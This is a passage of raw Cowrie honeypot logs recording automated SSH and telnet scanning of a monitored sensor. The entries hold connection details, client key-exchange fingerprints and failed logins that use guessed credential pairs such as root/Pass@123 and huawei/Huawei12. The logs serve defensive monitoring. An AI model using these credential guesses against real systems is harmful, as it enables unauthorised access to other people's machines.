none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:11.387061Z","src_ip":"83.168.110.85","session":"fcffbf4f65a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:11.862121Z","src_ip":"83.168.110.85","session":"fcffbf4f65a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:13.239718Z","src_ip":"83.168.110.85","session":"fcffbf4f65a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":51152,"dst_ip":"10.17.0.5","dst_port":22,"session":"20d73db6e07f","protocol":"ssh","message":"New connection: 83.168.110.85:51152 (10.17.0.5:22) [session: 20d73db6e07f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:18.556313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:18.562614Z","src_ip":"83.168.110.85","session":"20d73db6e07f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:18.683512Z","src_ip":"83.168.110.85","session":"20d73db6e07f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"huawei","password":"Huawei12","message":"login attempt [huawei/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:19.046099Z","src_ip":"83.168.110.85","session":"20d73db6e07f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:20.350863Z","src_ip":"83.168.110.85","session":"20d73db6e07f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36586,"dst_ip":"10.17.0.5","dst_port":23,"session":"11ebac8797e3","protocol":"telnet","message":"New connection: 152.42.224.71:36586 (10.17.0.5:23) [session: 11ebac8797e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:23.394078Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":56352,"dst_ip":"10.17.0.5","dst_port":22,"session":"481fc95324e5","protocol":"ssh","message":"New connection: 194.59.206.2:56352 (10.17.0.5:22) [session: 481fc95324e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:24.485343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:24.490264Z","src_ip":"194.59.206.2","session":"481fc95324e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:24.581118Z","src_ip":"194.59.206.2","session":"481fc95324e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:24.680349Z","src_ip":"194.59.206.2","session":"481fc95324e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":51614,"dst_ip":"10.17.0.5","dst_port":22,"session":"0898eab2b9c5","protocol":"ssh","message":"New connection: 83.168.110.85:51614 (10.17.0.5:22) [session: 0898eab2b9c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:25.530214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:25.535400Z","src_ip":"83.168.110.85","session":"0898eab2b9c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:25.656881Z","src_ip":"83.168.110.85","session":"0898eab2b9c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"omm","message":"login attempt [omm/omm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:26.024310Z","src_ip":"83.168.110.85","session":"0898eab2b9c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33712,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c41e21d8a23","protocol":"telnet","message":"New connection: 152.42.224.71:33712 (10.17.0.5:23) [session: 5c41e21d8a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:26.128595Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:27.147630Z","src_ip":"83.168.110.85","session":"0898eab2b9c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":43210,"dst_ip":"10.17.0.5","dst_port":22,"session":"edca932b3bed","protocol":"ssh","message":"New connection: 147.45.199.80:43210 (10.17.0.5:22) [session: edca932b3bed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:27.586675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:27.592299Z","src_ip":"147.45.199.80","session":"edca932b3bed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:27.688400Z","src_ip":"147.45.199.80","session":"edca932b3bed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:27.980103Z","src_ip":"147.45.199.80","session":"edca932b3bed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:29.078658Z","src_ip":"147.45.199.80","session":"edca932b3bed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":51618,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f63dec8dd9c","protocol":"ssh","message":"New connection: 83.168.110.85:51618 (10.17.0.5:22) [session: 9f63dec8dd9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:32.343422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:32.348231Z","src_ip":"83.168.110.85","session":"9f63dec8dd9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:32.468588Z","src_ip":"83.168.110.85","session":"9f63dec8dd9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranga","password":"ranga","message":"login attempt [ranga/ranga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:32.921798Z","src_ip":"83.168.110.85","session":"9f63dec8dd9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:34.046925Z","src_ip":"83.168.110.85","session":"9f63dec8dd9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":47106,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd1978d732fa","protocol":"ssh","message":"New connection: 83.168.110.85:47106 (10.17.0.5:22) [session: dd1978d732fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:39.109148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:39.223114Z","src_ip":"83.168.110.85","session":"dd1978d732fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:39.539450Z","src_ip":"83.168.110.85","session":"dd1978d732fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111","message":"login attempt [root/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:39.988812Z","src_ip":"83.168.110.85","session":"dd1978d732fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:41.220093Z","src_ip":"83.168.110.85","session":"dd1978d732fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":45572,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fc9eb013185","protocol":"ssh","message":"New connection: 83.168.110.85:45572 (10.17.0.5:22) [session: 4fc9eb013185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:46.540563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:46.545807Z","src_ip":"83.168.110.85","session":"4fc9eb013185","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:46.667405Z","src_ip":"83.168.110.85","session":"4fc9eb013185","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:47.032521Z","src_ip":"83.168.110.85","session":"4fc9eb013185","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:48.324833Z","src_ip":"83.168.110.85","session":"4fc9eb013185","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":37494,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf2079cfb9d6","protocol":"ssh","message":"New connection: 62.133.62.83:37494 (10.17.0.5:22) [session: bf2079cfb9d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:51.415564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:51.421086Z","src_ip":"62.133.62.83","session":"bf2079cfb9d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:51.504647Z","src_ip":"62.133.62.83","session":"bf2079cfb9d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123567","message":"login attempt [root/123567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:51.749935Z","src_ip":"62.133.62.83","session":"bf2079cfb9d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:13:52.846913Z","src_ip":"62.133.62.83","session":"bf2079cfb9d6","protocol":"ssh"}
